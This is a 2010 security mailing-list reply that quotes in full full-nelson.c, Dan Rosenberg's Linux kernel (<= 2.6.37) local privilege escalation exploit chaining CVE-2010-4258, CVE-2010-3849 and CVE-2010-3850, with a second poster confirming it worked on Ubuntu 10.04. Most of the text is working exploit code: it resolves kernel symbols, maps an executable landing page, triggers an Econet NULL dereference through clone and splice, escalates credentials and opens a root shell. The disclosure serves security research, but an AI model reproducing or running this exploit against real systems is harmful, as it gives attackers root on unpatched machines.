Date: Thu, 9 Dec 2010 06:58:16 +0200
From: Sherif Mousa <sherif.a.mousa@...il.com>
To: Dan Rosenberg <dan.j.rosenberg@...il.com>
Cc: full-disclosure@...ts.grok.org.uk, bugtraq@...urityfocus.com
Subject: Re: Linux kernel exploit

Hi Dan,

Tested on:

kernel 2.6.32 (Ubuntu 10.04) >> worked.
kernel 2.6.28 >> didn’t work. (Failed to open file descriptors)

Nice work, Dan.

Regards,
Sherif



On Tue, Dec 7, 2010 at 10:25 PM, Dan Rosenberg <dan.j.rosenberg@...il.com>wrote:

> Hi all,
>
> I've included here a proof-of-concept local privilege escalation exploit
> for Linux.  Please read the header for an explanation of what's going
> on.  Without further ado, I present full-nelson.c:
>
> Happy hacking,
> Dan
>
>
> --snip--
>
> /*
>  * Linux Kernel <= 2.6.37 local privilege escalation
>  * by Dan Rosenberg
>  * @djrbliss on twitter
>  *
>  * Usage:
>  * gcc full-nelson.c -o full-nelson
>  * ./full-nelson
>  *
>  * This exploit leverages three vulnerabilities to get root, all of which
> were
>  * discovered by Nelson Elhage:
>  *
>  * CVE-2010-4258
>  * -------------
>  * This is the interesting one, and the reason I wrote this exploit.  If a
>  * thread is created via clone(2) using the CLONE_CHILD_CLEARTID flag, a
> NULL
>  * word will be written to a user-specified pointer when that thread exits.
>  * This write is done using put_user(), which ensures the provided
> destination
>  * resides in valid userspace by invoking access_ok().  However, Nelson
>  * discovered that when the kernel performs an address limit override via
>  * set_fs(KERNEL_DS) and the thread subsequently OOPSes (via BUG, page
> fault,
>  * etc.), this override is not reverted before calling put_user() in the
> exit
>  * path, allowing a user to write a NULL word to an arbitrary kernel
> address.
>  * Note that this issue requires an additional vulnerability to trigger.
>  *
>  * CVE-2010-3849
>  * -------------
>  * This is a NULL pointer dereference in the Econet protocol.  By itself,
> it's
>  * fairly benign as a local denial-of-service.  It's a perfect candidate to
>  * trigger the above issue, since it's reachable via sock_no_sendpage(),
> which
>  * subsequently calls sendmsg under KERNEL_DS.
>  *
>  * CVE-2010-3850
>  * -------------
>  * I wouldn't be able to reach the NULL pointer dereference and trigger the
>  * OOPS if users weren't able to assign Econet addresses to arbitrary
>  * interfaces due to a missing capabilities check.
>  *
>  * In the interest of public safety, this exploit was specifically designed
> to
>  * be limited:
>  *
>  *  * The particular symbols I resolve are not exported on Slackware or
> Debian
>  *  * Red Hat does not support Econet by default
>  *  * CVE-2010-3849 and CVE-2010-3850 have both been patched by Ubuntu and
>  *    Debian
>  *
>  * However, the important issue, CVE-2010-4258, affects everyone, and it
> would
>  * be trivial to find an unpatched DoS under KERNEL_DS and write a slightly
>  * more sophisticated version of this that doesn't have the roadblocks I
> put in
>  * to prevent abuse by script kiddies.
>  *
>  * Tested on unpatched Ubuntu 10.04 kernels, both x86 and x86-64.
>  *
>  * NOTE: the exploit process will deadlock and stay in a zombie state after
> you
>  * exit your root shell because the Econet thread OOPSes while holding the
>  * Econet mutex.  It wouldn't be too hard to fix this up, but I didn't
> bother.
>  *
>  * Greets to spender, taviso, stealth, pipacs, jono, kees, and bla
>  */
>
> #include <stdio.h>
> #include <sys/socket.h>
> #include <fcntl.h>
> #include <sys/ioctl.h>
> #include <string.h>
> #include <net/if.h>
> #include <sched.h>
> #include <stdlib.h>
> #include <signal.h>
> #include <sys/utsname.h>
> #include <sys/mman.h>
> #include <unistd.h>
>
> /* How many bytes should we clear in our
>  * function pointer to put it into userspace? */
> #ifdef __x86_64__
> #define SHIFT 24
> #define OFFSET 3
> #else
> #define SHIFT 8
> #define OFFSET 1
> #endif
>
> /* thanks spender... */
> unsigned long get_kernel_sym(char *name)
> {
>        FILE *f;
>        unsigned long addr;
>        char dummy;
>        char sname[512];
>        struct utsname ver;
>        int ret;
>        int rep = 0;
>        int oldstyle = 0;
>
>        f = fopen("/proc/kallsyms", "r");
>        if (f == NULL) {
>                f = fopen("/proc/ksyms", "r");
>                if (f == NULL)
>                        goto fallback;
>                oldstyle = 1;
>        }
>
> repeat:
>        ret = 0;
>        while(ret != EOF) {
>                if (!oldstyle)
>                        ret = fscanf(f, "%p %c %s\n", (void **)&addr,
> &dummy, sname);
>                else {
>                        ret = fscanf(f, "%p %s\n", (void **)&addr, sname);
>                        if (ret == 2) {
>                                char *p;
>                                if (strstr(sname, "_O/") || strstr(sname,
> "_S."))
>                                        continue;
>                                p = strrchr(sname, '_');
>                                if (p > ((char *)sname + 5) && !strncmp(p -
> 3, "smp", 3)) {
>                                        p = p - 4;
>                                        while (p > (char *)sname && *(p - 1)
> == '_')
>                                                p--;
>                                        *p = '\0';
>                                }
>                        }
>                }
>                if (ret == 0) {
>                        fscanf(f, "%s\n", sname);
>                        continue;
>                }
>                if (!strcmp(name, sname)) {
>                        fprintf(stdout, " [+] Resolved %s to %p%s\n", name,
> (void *)addr, rep ? " (via System.map)" : "");
>                        fclose(f);
>                        return addr;
>                }
>        }
>
>        fclose(f);
>        if (rep)
>                return 0;
> fallback:
>        uname(&ver);
>        if (strncmp(ver.release, "2.6", 3))
>                oldstyle = 1;
>        sprintf(sname, "/boot/System.map-%s", ver.release);
>        f = fopen(sname, "r");
>        if (f == NULL)
>                return 0;
>        rep = 1;
>        goto repeat;
> }
>
> typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long
> cred);
> typedef unsigned long __attribute__((regparm(3))) (*
> _prepare_kernel_cred)(unsigned long cred);
> _commit_creds commit_creds;
> _prepare_kernel_cred prepare_kernel_cred;
>
> static int __attribute__((regparm(3)))
> getroot(void * file, void * vma)
> {
>
>        commit_creds(prepare_kernel_cred(0));
>        return -1;
>
> }
>
> /* Why do I do this?  Because on x86-64, the address of
>  * commit_creds and prepare_kernel_cred are loaded relative
>  * to rip, which means I can't just copy the above payload
>  * into my landing area. */
> void __attribute__((regparm(3)))
> trampoline()
> {
>
> #ifdef __x86_64__
>        asm("mov $getroot, %rax; call *%rax;");
> #else
>        asm("mov $getroot, %eax; call *%eax;");
> #endif
>
> }
>
> /* Triggers a NULL pointer dereference in econet_sendmsg
>  * via sock_no_sendpage, so it's under KERNEL_DS */
> int trigger(int * fildes)
> {
>        int ret;
>        struct ifreq ifr;
>
>        memset(&ifr, 0, sizeof(ifr));
>        strncpy(ifr.ifr_name, "eth0", IFNAMSIZ);
>
>        ret = ioctl(fildes[2], SIOCSIFADDR, &ifr);
>
>        if(ret < 0) {
>                printf("[*] Failed to set Econet address.\n");
>                return -1;
>        }
>
>        splice(fildes[3], NULL, fildes[1], NULL, 128, 0);
>        splice(fildes[0], NULL, fildes[2], NULL, 128, 0);
>
>        /* Shouldn't get here... */
>        exit(0);
> }
>
> int main(int argc, char * argv[])
> {
>        unsigned long econet_ops, econet_ioctl, target, landing;
>        int fildes[4], pid;
>        void * newstack, * payload;
>
>        /* Create file descriptors now so there are two
>           references to them after cloning...otherwise
>           the child will never return because it
>           deadlocks when trying to unlock various
>           mutexes after OOPSing */
>        pipe(fildes);
>        fildes[2] = socket(PF_ECONET, SOCK_DGRAM, 0);
>        fildes[3] = open("/dev/zero", O_RDONLY);
>
>        if(fildes[0] < 0 || fildes[1] < 0 || fildes[2] < 0 || fildes[3] < 0)
> {
>                printf("[*] Failed to open file descriptors.\n");
>                return -1;
>        }
>
>        /* Resolve addresses of relevant symbols */
>        printf("[*] Resolving kernel addresses...\n");
>        econet_ioctl = get_kernel_sym("econet_ioctl");
>        econet_ops = get_kernel_sym("econet_ops");
>        commit_creds = (_commit_creds) get_kernel_sym("commit_creds");
>        prepare_kernel_cred = (_prepare_kernel_cred)
> get_kernel_sym("prepare_kernel_cred");
>
>        if(!econet_ioctl || !commit_creds || !prepare_kernel_cred ||
> !econet_ops) {
>                printf("[*] Failed to resolve kernel symbols.\n");
>                return -1;
>        }
>
>        if(!(newstack = malloc(65536))) {
>                printf("[*] Failed to allocate memory.\n");
>                return -1;
>        }
>
>        printf("[*] Calculating target...\n");
>        target = econet_ops + 10 * sizeof(void *) - OFFSET;
>
>        /* Clear the higher bits */
>        landing = econet_ioctl << SHIFT >> SHIFT;
>
>        payload = mmap((void *)(landing & ~0xfff), 2 * 4096,
>                       PROT_READ | PROT_WRITE | PROT_EXEC,
>                       MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, 0, 0);
>
>        if ((long)payload == -1) {
>                printf("[*] Failed to mmap() at target address.\n");
>                return -1;
>        }
>
>        memcpy((void *)landing, &trampoline, 1024);
>
>        clone((int (*)(void *))trigger,
>              (void *)((unsigned long)newstack + 65536),
>              CLONE_VM | CLONE_CHILD_CLEARTID | SIGCHLD,
>              &fildes, NULL, NULL, target);
>
>        sleep(1);
>
>        printf("[*] Triggering payload...\n");
>        ioctl(fildes[2], 0, NULL);
>
>        if(getuid()) {
>                printf("[*] Exploit failed to get root.\n");
>                return -1;
>        }
>
>        printf("[*] Got root!\n");
>        execl("/bin/sh", "/bin/sh", NULL);
> }
>
>
>

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